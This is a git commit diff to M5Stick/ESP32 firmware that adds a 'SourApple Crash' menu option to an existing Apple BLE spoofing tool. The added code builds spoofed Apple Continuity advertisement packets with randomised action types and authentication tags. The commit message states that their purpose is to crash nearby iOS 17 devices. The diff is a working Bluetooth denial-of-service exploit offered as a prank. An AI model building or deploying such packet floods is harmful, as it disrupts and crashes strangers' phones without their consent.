Added iOS17 crash fun inspired by RapierXbox/ESP32-Sour-Apple

This commit is contained in:
Noah Axon 2023-10-07 14:59:57 -05:00
parent ab3d3128b2
commit 0c4fb576a9
1 changed files with 37 additions and 8 deletions

View File

@ -25,6 +25,7 @@ int cursor = 0;
int rotation = 1; int rotation = 1;
int brightness = 100; int brightness = 100;
bool rstOverride = false; bool rstOverride = false;
bool sourApple = false;
#define EEPROM_SIZE 4 #define EEPROM_SIZE 4
struct MENU { struct MENU {
@ -504,6 +505,8 @@ void timeset_loop() {
/// AppleJuice /// /// AppleJuice ///
MENU ajmenu[] = { MENU ajmenu[] = {
{ "AirPods", 1}, { "AirPods", 1},
{ "SourApple Crash", 29},
{ "Transfer Number", 27},
{ "AirPods Pro", 2}, { "AirPods Pro", 2},
{ "AirPods Max", 3}, { "AirPods Max", 3},
{ "AirPods G2", 4}, { "AirPods G2", 4},
@ -529,9 +532,8 @@ MENU ajmenu[] = {
{ "AppleTV Keyboard", 24}, { "AppleTV Keyboard", 24},
{ "AppleTV Network", 25}, { "AppleTV Network", 25},
{ "TV Color Balance", 26}, { "TV Color Balance", 26},
{ "Transfer Number", 27},
{ "Setup New Phone", 28}, { "Setup New Phone", 28},
{ "back", 29}, { "back", 30},
}; };
void aj_drawmenu() { void aj_drawmenu() {
@ -561,6 +563,7 @@ void aj_setup(){
M5.Lcd.println("AppleJuice"); M5.Lcd.println("AppleJuice");
delay(1000); delay(1000);
cursor = 0; cursor = 0;
sourApple = false;
rstOverride = true; rstOverride = true;
aj_drawmenu(); aj_drawmenu();
} }
@ -662,6 +665,9 @@ void aj_loop(){
data = SetupNewPhone; data = SetupNewPhone;
break; break;
case 29: case 29:
sourApple = true;
break;
case 30:
rstOverride = false; rstOverride = false;
isSwitching = true; isSwitching = true;
current_proc = 1; current_proc = 1;
@ -698,6 +704,28 @@ void aj_adv(){
pAdvertising->stop(); // This is placed here mostly for timing. pAdvertising->stop(); // This is placed here mostly for timing.
// It allows the BLE beacon to run through the loop. // It allows the BLE beacon to run through the loop.
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
if (sourApple){
uint8_t packet[17];
uint8_t size = 17;
uint8_t i = 0;
packet[i++] = size - 1; // Packet Length
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = 0x0F; // Type
packet[i++] = 0x05; // Length
packet[i++] = 0xC1; // Action Flags
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
packet[i++] = types[rand() % sizeof(types)]; // Action Type
esp_fill_random(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // ???
packet[i++] = 0x00; // ???
packet[i++] = 0x10; // Type ???
esp_fill_random(&packet[i], 3);
oAdvertisementData.addData(std::string((char *)packet, 17));
} else {
// sizeof() has to match the 31 and 23 byte char* however it doesn't seem // sizeof() has to match the 31 and 23 byte char* however it doesn't seem
// to work with bare integers, so sizeof() calls arbitrary elements of the // to work with bare integers, so sizeof() calls arbitrary elements of the
// correct length. Without this if block, only 31-byte messages worked. // correct length. Without this if block, only 31-byte messages worked.
@ -706,6 +734,7 @@ void aj_adv(){
} else { } else {
oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods))); oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods)));
} }
}
pAdvertising->setAdvertisementData(oAdvertisementData); pAdvertising->setAdvertisementData(oAdvertisementData);
pAdvertising->start(); pAdvertising->start();
digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus